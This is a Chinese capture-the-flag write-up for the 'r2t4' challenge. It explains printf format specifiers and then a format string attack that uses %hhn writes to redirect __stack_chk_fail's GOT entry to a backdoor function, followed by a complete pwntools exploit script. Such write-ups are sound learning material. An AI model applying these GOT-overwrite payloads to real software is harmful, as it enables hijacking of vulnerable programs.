Niyah

格式化字符串

%[parameter][flags][field width][.precision][length]type

# r2t4

本题是个格式化字符串漏洞

这里我们了解一下格式化字符串的格式,其基本格式如下

%[parameter][flags][field width][.precision][length]type

每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf ("% p",a) 用地址的格式打印变量 a 的值,printf ("% p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, ' % ' 字面值,不接受任何 flags, width。

首先确定参数偏移

进入 IDA 进行分析,直接可以看到有一个后门函数可以直接输出 flag,我们只需要调用它就行了

这题是有 canary 的,但是没有关系,检查 canary 后会执行那个 **__stack_chk_fail** 函数,那么我们利用格式化字符串修改这个函数的地址为后门函数地址就可以输出 flag 了

​ backdoor : 0x0000000000400626

​ __stack_chk_fail : 0x0000000000601038

我们需要将第二个地址的值改为第一个地址,这里有两种方式

我比较推荐单地址修改的方法,因为一个地址对应在我们看来的两位,而这些地址的存放方式是小端序,所以 0x601038 表示的是最后两位 0x60103A 表示的是倒数第三和倒数第四位

那么我们按照单字节修改的方式可以将地址划分为三块

​ 60 10 38

​ 40 06 26

那么我们从最小的开始修改,即 0x06,我们使用 %6c 输出再使用 % x$hhn 修改格式化字符串的第 x 个参数,这个参数即__stack_chk_fail +1

之后是第二小的,即 0x26,因为我们前面已经输出了 0x06 个字符,所以我们这次只需要输出 0x20 个字符,再使用 % y$hhn 修改格式化字符串的第 y 个参数,即__stack_chk_fail

从小到大依次修改,最后再计算一下参数偏移就大功告成了

#coding=utf-8
from pwn import *

elf = ELF('./r2t4')
context(arch='amd64',os='linux',word_size='64')
p = remote("node3.buuoj.cn",28241)

jump = elf.got['__stack_chk_fail']

payload1 = '%6c%10$hhn%32c%11$hhn%26c%12$hhn'   #单地址修改payload
payload2 = "%64c%9$hn%1510c%10$hnAAA"      #双地址修改payload

payload3 = payload1 + p64(jump+1) + p64(jump) +p64(jump+2)
payload4 = payload2 + p64(jump+2)+ p64(jump)

print len(payload1)
print len(payload2)

p.sendline(payload3)

p.interactive()

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。